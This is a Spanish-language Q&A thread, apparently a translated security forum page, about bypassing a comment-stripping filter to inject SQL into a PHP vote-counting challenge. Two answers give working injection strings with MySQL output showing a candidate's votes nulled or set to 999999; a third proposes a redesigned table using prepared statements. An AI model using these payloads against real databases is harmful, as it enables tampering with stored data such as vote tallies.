¿Es este código PHP vulnerable la inyección de SQL?

4

Se me dio el control sobre la variable $ vote (en la función "desafío")

¿Hay alguna forma de sql inyectar la consulta? (Por cierto, puedo ver / leer lo que la función de desafío devuelve, por ejemplo, los errores de SQL. Me las arreglé para inyectar el sql pero no pude encontrar una manera de anular la parte $vote + 1 ", por lo que cualquier intento de inyectar conduce a un error de sintaxis.)

function evil($vote) 
{ 
    #Comments not allowed ]:-> 
    #Sorry. 
    $vote = str_replace('#', '', $vote); 
    $vote = str_replace('/', '', $vote); 
    $vote = str_replace('*', '', $vote); 
    $vote = str_replace('-', '', $vote); 
    return $vote; 
} 
function challenge($vote) 
{ 
    $vote = evil($vote); 
    $q = "UPDATE 'sqlinjection2' SET '$vote'='$vote'+1"; 
    $r = mysql_query($q); 
    if(!$r) 
        return mysql_error(); 
    return 'Thanks for vote!'; 
} 
    
pregunta Name 13.06.2016 - 00:31
fuente

3 respuestas

4

Eliminar comentarios ayuda contra algunas inyecciones, pero por supuesto no todas .

En este caso, aún puedes poner a cero cualquier campo configurando $vote para construir una secuencia lógica a partir de lo que era una asignación:

 variable   :          vote'=1 + 'vote
 query      : ... SET 'vote'=1 + 'vote'='vote'=1 + 'vote'+1;

Esto alternará el voto entre 0, si es distinto de cero, y 1, si es cero.

Pero como puede especificar un campo más de una vez en la misma actualización, y todas las actualizaciones se ejecutarán, también puede hacerlo:

 variable   :          vote'=1, 'vote'=X+'vote
 query      : ... SET 'vote'=1, 'vote'=X+'vote'='vote'=1, 'vote'=X+'vote'+1;

que establece el voto en 1, luego en 0, luego en 0 + X + 1, cualquiera que sea X (excepto X = 0, donde establecerá el voto en 2).

    
respondido por el LSerni 13.06.2016 - 01:30
fuente
0

Sí, puedes anular el voto. La solución es la siguiente.

La tabla de base de datos Mysql para votar se crea una instancia de la siguiente manera.

mysql> use test;
Database changed
mysql> create table sqlinjection2 (ALICE int,BOB int);
Query OK, 0 rows affected (0.03 sec)

mysql> INSERT INTO sqlinjection2 values (0,0);
Query OK, 1 row affected (0.01 sec)

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     0 |       0 |
+-------+---------+
1 row in set (0.00 sec)

Consulta ejecutada en una votación normal a ALICE

UPDATE 'test'.'sqlinjection2' SET 'ALICE'='ALICE'+1 

Probé inyecciones como ALICE XOR ALICE pero no funcionaron.

El que funcionó para mí estaba debajo

Parámetro:

 vote=ALICE'=NULL , 'ALICE'='ALICE'

SqlString ejecutado:

UPDATE 'test'.'sqlinjection2' SET 'ALICE'=NULL , 'ALICE'='ALICE'='ALICE'=NULL , 'ALICE'='ALICE'+1

La mesa antes de la inyección

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     20|      20 |
+-------+---------+
1 row in set (0.00 sec)

La mesa después de la inyección

 mysql> select * from sqlinjection2;
    +-------+---------+
    | ALICE | BOB     |
    +-------+---------+
    |  NULL |      20 |
    +-------+---------+
    1 row in set (0.00 sec)

También ALICE no ganará en el caso normal. Dado que NULL+1 es NULL .

Actualización : si quiere que ALICE gane, puede inyectar algo como el parámetro a continuación

Parámetro:

 vote=ALICE'=999999 , 'ALICE'='ALICE'
    
respondido por el Sravan 13.06.2016 - 05:41
fuente
0

Su premisa entera es defectuosa. Es un diseño terrible para comenzar con la base de datos.

Aquí está mi recomendación para la estructura de la tabla:

CREATE TABLE votes (  
  id SERIAL PRIMARY KEY,
  candidate VARCHAR(20) UNIQUE NOT NULL,
  votes INT NOT NULL DEFAULT 0
);

Llénalo un poco:

INSERT INTO votes (candidate, votes) VALUES ('Alice',0);
INSERT INTO votes (candidate, votes) VALUES ('Bob',0);
INSERT INTO votes (candidate, votes) VALUES ('Fred',0);
INSERT INTO votes (candidate, votes) VALUES ('Dana',0); 

Así que tenemos nuestra lista:

sqlinjection2=# SELECT * FROM votes;
 id | candidate | votes 
----+-----------+-------
  1 | Alice     |     0
  2 | Bob       |     0
  3 | Fred      |     0
  4 | Dana      |     0
(4 rows)

Y para tu código:

function vote($candidate) {
 $query='SELECT votes FROM votes WHERE candidate = ?'
 $dbh=$db->prepare($query);
 $result = $dbh->execute($candidate);
 if($result->rowcount() == 0) { /* Write-in candidate */
   $votes = 0;
   $query = 'INSERT INTO votes (votes, candidate) VALUES (?, ?)';
 } else {
   $row = $result->fetch();
   $votes = $row['votes']
   $query = 'UPDATE votes SET votes=? WHERE candidate = ?';
 }
 $dbh = $db->prepare($query);
 $votes++;
 $result = $dbh->execute($votes, $candidate);
}

(Lo siento por el formato, haciendo esto a mano)

Esta configuración permite un número arbitrario de candidatos sin tener que reequipar la tabla; además, evita tener que depender completamente de los valores de entrada para los nombres de columna, y el código utiliza sentencias de SQL preparadas y parametrizadas.

La gestión de excepciones, transacciones y errores se deja como un ejercicio para el lector.

    
respondido por el Shadur 15.07.2016 - 11:30
fuente

Lea otras preguntas en las etiquetas